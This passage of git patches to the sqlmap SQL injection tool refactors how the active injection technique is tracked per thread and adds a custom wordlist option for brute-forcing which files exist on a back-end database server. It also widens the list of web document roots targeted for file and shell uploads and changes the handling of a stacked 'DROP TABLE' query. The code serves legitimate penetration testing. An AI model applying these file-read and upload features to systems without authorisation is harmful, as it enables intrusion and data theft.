a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -174,12 +174,13 @@ def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): return True def askCheckReadFile(self, localFile, remoteFile): - message = "do you want confirmation that the remote file '%s' " % remoteFile - message += "has been successfully downloaded from the back-end " - message += "DBMS file system? [Y/n] " + if not kb.bruteMode: + message = "do you want confirmation that the remote file '%s' " % remoteFile + message += "has been successfully downloaded from the back-end " + message += "DBMS file system? [Y/n] " - if readInput(message, default='Y', boolean=True): - return self._checkFileLength(localFile, remoteFile, True) + if readInput(message, default='Y', boolean=True): + return self._checkFileLength(localFile, remoteFile, True) return None @@ -255,7 +256,7 @@ def readFile(self, remoteFile): if fileContent is not None: fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent: + if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): @@ -269,7 +270,7 @@ def readFile(self, remoteFile): localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) - else: + elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) diff --git a/sqlmap.conf b/sqlmap.conf index b2defe6ca3d..b68f9b8eee5 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -572,6 +572,10 @@ commonTables = False # Valid: True or False commonColumns = False +# Check existence of common files. +# Valid: True or False +commonFiles = False + # These options can be used to create custom user-defined functions. [User-defined function] From 32e09c8dfbf747ea758e19c215cc0b4c90d84b1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Jun 2019 13:56:48 +0200 Subject: [PATCH 494/800] Couple of updates for #2908 --- lib/core/settings.py | 2 +- lib/utils/brute.py | 16 +++++++++++++++- plugins/dbms/mssqlserver/filesystem.py | 2 +- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 93668991da6..b336ec671e8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.57" +VERSION = "1.3.6.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 14023c9a84d..b44ab6b94e3 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -18,6 +18,7 @@ from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import isNoneValue +from lib.core.common import ntToPosixSlashes from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt @@ -298,6 +299,19 @@ def columnExistsThread(): @stackedmethod def fileExists(pathFile): retVal = [] + + message = "which common files file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % pathFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common files file location?\n" + pathFile = readInput(message) or pathFile + + infoMsg = "checking files existence using items from '%s'" % pathFile + logger.info(infoMsg) + paths = getFileItems(pathFile, unique=True) kb.bruteMode = True @@ -321,7 +335,7 @@ def fileExistsThread(): while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: - path = paths[threadData.shared.count] + path = ntToPosixSlashes(paths[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 72133f27c86..640b1ddf720 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -89,7 +89,7 @@ def stackedReadFile(self, remoteFile): result = [] txtTbl = self.fileTblName - hexTbl = "%shex" % self.fileTblName + hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) From 3abd3e1a8d72ea77e4bfdf327d2cca72ca363369 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Jul 2019 10:43:05 +0200 Subject: [PATCH 495/800] Patching silent per-thread issue with technique switching (fixes #3784) --- lib/core/agent.py | 17 ++++++++-------- lib/core/common.py | 24 ++++++++++++++++------ lib/core/settings.py | 2 +- lib/core/threads.py | 3 +++ lib/request/inject.py | 30 +++++++++++++++------------- lib/takeover/web.py | 5 +++-- lib/techniques/blind/inference.py | 33 ++++++++++++++++--------------- lib/techniques/error/use.py | 10 +++++----- lib/techniques/union/test.py | 3 ++- 9 files changed, 74 insertions(+), 53 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 17b4bc68cf5..577e856ae50 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -12,6 +12,7 @@ from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import getSQLSnippet +from lib.core.common import getTechnique from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable @@ -89,8 +90,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if kb.forceWhere: where = kb.forceWhere - elif where is None and isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + elif where is None and isTechniqueAvailable(getTechnique()): + where = kb.injection.data[getTechnique()].where if kb.injection.place is not None: place = kb.injection.place @@ -234,8 +235,8 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): expression = unescaper.escape(expression) query = None - if where is None and kb.technique and kb.technique in kb.injection.data: - where = kb.injection.data[kb.technique].where + if where is None and getTechnique() is not None and getTechnique() in kb.injection.data: + where = kb.injection.data[getTechnique()].where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix @@ -244,7 +245,7 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): # If the technique is stacked queries () do not put a space # after the prefix or it is in GROUP BY / ORDER BY () - elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: + elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix @@ -282,9 +283,9 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmp # Take default values if None suffix = kb.injection.suffix if kb.injection and suffix is None else suffix - if kb.technique and kb.technique in kb.injection.data: - where = kb.injection.data[kb.technique].where if where is None else where - comment = kb.injection.data[kb.technique].comment if comment is None else comment + if getTechnique() is not None and getTechnique() in kb.injection.data: + where = kb.injection.data[getTechnique()].where if where is None else where + comment = kb.injection.data[getTechnique()].comment if comment is None else comment if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): comment = queries[DBMS.ACCESS].comment.query diff --git a/lib/core/common.py b/lib/core/common.py index 42c017220ce..608e2d1f3ad 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1125,6 +1125,20 @@ def readInput(message, default=None, checkBatch=True, boolean=False): return retVal or "" +def setTechnique(technique): + """ + Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching) + """ + + getCurrentThreadData().technique = technique + +def getTechnique(): + """ + Thread-safe getting of currently used technique + """ + + return getCurrentThreadData().technique or kb.technique + def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range @@ -3231,18 +3245,16 @@ def isHeavyQueryBased(technique=None): Returns True whether current (kb.)technique is heavy-query based >>> pushValue(kb.injection.data) - >>> pushValue(kb.technique) - >>> kb.technique = PAYLOAD.TECHNIQUE.STACKED - >>> kb.injection.data[kb.technique] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] + >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) + >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] >>> isHeavyQueryBased() True - >>> kb.technique = popValue() >>> kb.injection.data = popValue() """ retVal = False - technique = technique or kb.technique + technique = technique or getTechnique() if isTechniqueAvailable(technique): data = getTechniqueData(technique) @@ -3630,7 +3642,7 @@ def unhandledExceptionMessage(): errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) - errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) + errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: diff --git a/lib/core/settings.py b/lib/core/settings.py index b336ec671e8..c1d9b887487 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.58" +VERSION = "1.3.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 3fa8263aee7..010534a00a6 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -63,6 +63,7 @@ def reset(self): self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared + self.technique = None self.validationRun = 0 self.valueStack = [] @@ -113,6 +114,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadContinue = True kb.threadException = False + kb.technique = ThreadData.technique if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: @@ -206,6 +208,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio finally: kb.threadContinue = True kb.threadException = False + kb.technique = None for lock in kb.locks.values(): if lock.locked(): diff --git a/lib/request/inject.py b/lib/request/inject.py index 6a84838e9a1..865d373e1cf 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -19,6 +19,7 @@ from lib.core.common import extractExpectedValue from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers +from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite @@ -31,6 +32,7 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf @@ -88,7 +90,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if value is not None: return value - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: msg = "multi-threading is considered unsafe in " @@ -160,9 +162,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char parameter through a bisection algorithm. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(kb.injection.data[getTechnique()].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None @@ -307,10 +309,10 @@ def _goBooleanProxy(expression): Retrieve the output of a boolean based SQL query """ - initTechnique(kb.technique) + initTechnique(getTechnique()) if conf.dnsDomain: - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(kb.injection.data[getTechnique()].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) @@ -318,13 +320,13 @@ def _goBooleanProxy(expression): if output is not None: return output - vector = kb.injection.data[kb.technique].vector + vector = kb.injection.data[getTechnique()].vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) @@ -401,7 +403,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - kb.technique = PAYLOAD.TECHNIQUE.UNION + setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion @@ -433,7 +435,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: - kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY + setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE @@ -446,7 +448,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: - kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) @@ -461,9 +463,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): - kb.technique = PAYLOAD.TECHNIQUE.TIME + setTechnique(PAYLOAD.TECHNIQUE.TIME) else: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) @@ -505,12 +507,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): - kb.technique = technique + setTechnique(technique) break expression = cleanQuery(expression) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 1904081dc3a..1a12e3cb0ac 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -20,6 +20,7 @@ from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet +from lib.core.common import getTechnique from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath @@ -147,8 +148,8 @@ def _webFileInject(self, fileContent, fileName, directory): uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" - if isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + if isTechniqueAvailable(getTechnique()): + where = kb.injection.data[getTechnique()].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 71fbe68c935..d827f939d9a 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -22,6 +22,7 @@ from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import getPartRun +from lib.core.common import getTechnique from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite @@ -80,7 +81,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: @@ -201,7 +202,7 @@ def tryHint(idx): forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return hintValue[idx - 1] @@ -228,13 +229,13 @@ def validateChar(idx, value): result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: - result = threadData.lastCode == kb.injection.data[kb.technique].trueCode + if result and timeBasedCompare and kb.injection.data[getTechnique()].trueCode: + result = threadData.lastCode == kb.injection.data[getTechnique()].trueCode if not result: - warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) + warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[getTechnique()].trueCode) singleTimeWarnMessage(warnMsg) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) return result @@ -269,7 +270,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) @@ -338,10 +339,10 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if not timeBasedCompare: - unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) + unexpectedCode |= threadData.lastCode not in (kb.injection.data[getTechnique()].falseCode, kb.injection.data[getTechnique()].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) @@ -439,7 +440,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] @@ -451,7 +452,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0]) @@ -569,12 +570,12 @@ def blindThread(): # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) - query = kb.injection.data[kb.technique].vector + query = kb.injection.data[getTechnique()].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: @@ -593,12 +594,12 @@ def blindThread(): subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) - query = kb.injection.data[kb.technique].vector + query = kb.injection.data[getTechnique()].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: @@ -678,7 +679,7 @@ def blindThread(): _ = finalValue or partialValue - return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f608c1c9a08..e9939d7e4e7 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -21,6 +21,7 @@ from lib.core.common import firstNotNone from lib.core.common import getConsoleWidth from lib.core.common import getPartRun +from lib.core.common import getTechnique from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -43,7 +44,6 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER -from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MAX_ERROR_CHUNK_LENGTH @@ -124,7 +124,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request - vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector + vector = kb.injection.data[getTechnique()].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression @@ -135,7 +135,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) - incrementCounter(PAYLOAD.TECHNIQUE.ERROR) + incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) @@ -299,7 +299,7 @@ def errorUse(expression, dump=False): SQL injection vulnerability on the affected parameter. """ - initTechnique(PAYLOAD.TECHNIQUE.ERROR) + initTechnique(getTechnique()) abortedFlag = False count = None @@ -461,7 +461,7 @@ def errorThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.ERROR], duration) + debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 0e5163aff06..6de181381e9 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -20,6 +20,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev @@ -323,7 +324,7 @@ def unionTest(comment, place, parameter, value, prefix, suffix): return negativeLogic = kb.negativeLogic - kb.technique = PAYLOAD.TECHNIQUE.UNION + setTechnique(PAYLOAD.TECHNIQUE.UNION) try: if negativeLogic: From 7b668127fcbf070acf7eb6871ad0d8c255e89397 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Jul 2019 10:54:11 +0200 Subject: [PATCH 496/800] Minor update --- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 21861f1f5f3..e1a21fa4a0f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -304,7 +304,7 @@ DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } PART_RUN_CONTENT_TYPES = { diff --git a/lib/core/settings.py b/lib/core/settings.py index c1d9b887487..77f3aa71bf9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.0" +VERSION = "1.3.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a7695dd06fe9c30e42717cfa973d1ddca8408f8e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jul 2019 09:17:25 +0200 Subject: [PATCH 497/800] Fixes #3792 --- lib/core/settings.py | 2 +- lib/request/dns.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 77f3aa71bf9..82575e1d249 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.1" +VERSION = "1.3.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 109f6c8d0df..8c6df781b29 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -84,7 +84,7 @@ def _check_localhost(self): except: pass finally: - if response and "google" in response: + if response and b"google" in response: raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None): From 25f29ca6b01495b437281849a04813aac4afb367 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jul 2019 10:56:05 +0200 Subject: [PATCH 498/800] Minor updates --- lib/core/bigarray.py | 5 + lib/core/dicts.py | 257 +++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/wordlist.py | 6 +- lib/request/basic.py | 6 +- lib/utils/htmlentities.py | 263 -------------------------------------- 6 files changed, 270 insertions(+), 269 deletions(-) delete mode 100644 lib/utils/htmlentities.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index a6f6ac24d23..ea633869752 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -51,6 +51,11 @@ def __init__(self, index, data, dirty): class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) + + >>> _ = BigArray(xrange(100000)) + >>> _[20] = 0 + >>> _[100] + 100 """ def __init__(self, items=None): diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e1a21fa4a0f..5fb35af9e14 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -334,3 +334,260 @@ "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } + +# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html + +HTML_ENTITIES = { + "quot": 34, + "amp": 38, + "lt": 60, + "gt": 62, + "nbsp": 160, + "iexcl": 161, + "cent": 162, + "pound": 163, + "curren": 164, + "yen": 165, + "brvbar": 166, + "sect": 167, + "uml": 168, + "copy": 169, + "ordf": 170, + "laquo": 171, + "not": 172, + "shy": 173, + "reg": 174, + "macr": 175, + "deg": 176, + "plusmn": 177, + "sup2": 178, + "sup3": 179, + "acute": 180, + "micro": 181, + "para": 182, + "middot": 183, + "cedil": 184, + "sup1": 185, + "ordm": 186, + "raquo": 187, + "frac14": 188, + "frac12": 189, + "frac34": 190, + "iquest": 191, + "Agrave": 192, + "Aacute": 193, + 